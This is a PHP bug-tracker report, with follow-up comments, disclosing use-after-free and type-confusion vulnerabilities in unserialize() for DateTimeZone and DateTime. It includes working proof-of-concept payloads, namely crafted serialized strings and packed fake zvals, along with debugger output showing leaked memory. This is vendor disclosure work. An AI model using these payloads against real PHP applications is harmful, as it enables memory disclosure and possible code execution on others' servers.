|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2015-01-29 07:20 UTC] taoguangchen at icloud dot com
Description:
------------
I. Use after free vulnerability
static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
zval **z_timezone = NULL;
zval **z_timezone_type = NULL;
if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) {
if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
convert_to_long(*z_timezone_type);
if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) {
return SUCCESS;
}
}
}
return FAILURE;
}
The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.
The following code should leak arbitrary memory:
<?php
$fakezval = pack(
'IIII',
0x00100000,
0x00000400,
0x00000000,
0x00000006
);
$data = unserialize('a:2:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:2:{i:0;i:1;i:1;i:2;}s:8:"timezone";s:1:"A";}i:1;R:4;}');
for($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($data);
?>
II. Type confusion vulnerability
Z_STRVAL_PP leads to various problems.
The following code should crash PHP:
<?php
$data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:1;}');
?>
Patchespatch-master (last revision 2015-02-01 06:58 UTC by stas@php.net)patch-5.5 (last revision 2015-02-01 06:56 UTC by stas@php.net) patch-5.4 (last revision 2015-02-01 06:48 UTC by stas@php.net) Pull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Wed Oct 29 14:00:01 2025 UTC |
Result(test on MAMP with PHP 5.6.5): array(2) { [0]=> object(DateTimeZone)#1 (2) { ["timezone_type"]=> int(2) ["timezone"]=> string(1) "A" } [1]=> string(1024) "3t-�PQ,0�����u�P��ck~�5�2C��b"�R�����v�[S+��P��|;��96%�� �����l��T<[TF��a�4�z�C" }The same problem also exists unserialize() with DateTime, DateInterval and DatePeriod. static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht) { zval *z_date; zval *z_timezone; zval *z_timezone_type; zval tmp_obj; timelib_tzinfo *tzi; php_timezone_obj *tzobj; z_date = zend_hash_str_find(myht, "date", sizeof("data")-1); if (z_date) { convert_to_string(z_date); z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-1); if (z_timezone_type) { convert_to_long(z_timezone_type); z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1); if (z_timezone) { convert_to_string(z_timezone); ... The following code should leak arbitrary memory: <?php $fakezval = pack( 'IIII', 0x00100000, 0x00000400, 0x00000000, 0x00000006 ); $data = unserialize('a:2:{i:0;O:8:"DateTime":3:{s:4:"date";s:26:"2000-01-01 00:00:00.000000";s:13:"timezone_type";a:2:{i:0;i:1;i:1;i:2;}s:8:"timezone";s:1:"A";}i:1;R:5;}'); for($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); ?>Type Confusion Infoleak Vulnerability PoC: <?php $data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:4298494896}'); ?> Result: //Work on MacOSX 10.10.2 installation of PHP 5.5.14 $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64). (lldb) run test/test.php Process 889 launched: '/usr/bin/php' (x86_64) Warning: DateTimeZone::__wakeup(): Unknown or bad timezone (UH??AWAVAUATSH??8) in /test/test.php on line 2 Process 889 exited with status = 0 (0x00000000)What about part II of the original bug report? Quoted here: "II. Type confusion vulnerability Z_STRVAL_PP leads to various problems. The following code should crash PHP: <?php $data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:1;}'); ?>" That wasn't fixed. Is that considered a different issue, was it overlooked, is it not a bug, or something else?It is a bug, and i think it is a security issue. static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC) { ... if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) { if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) { return SUCCESS; } ... static int timezone_initialize(php_timezone_obj *tzobj, /*const*/ char *tz TSRMLS_DC) { timelib_time *dummy_t = ecalloc(1, sizeof(timelib_time)); int dst, not_found; char *orig_tz = tz; dummy_t->z = timelib_parse_zone(&tz, &dst, dummy_t, ¬_found, DATE_TIMEZONEDB, php_date_parse_tzfile_wrapper); if (not_found) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown or bad timezone (%s)", orig_tz); efree(dummy_t); return FAILURE; The Z_STRVAL_PP macro lead to looking up an arbitrary valid memory address, and outputing a string via an warning level error message that start from this memory address. If the memory address is an invalid memory position, it should result in a crash. In the BUG report, I wrote a number of use after free bugs, and this type confusion infoleak bug, but the latest patch is not completely solved these bugs, another unfixed bug I had reported in another BUG report, I hope you can read my report carefully, and really fix them.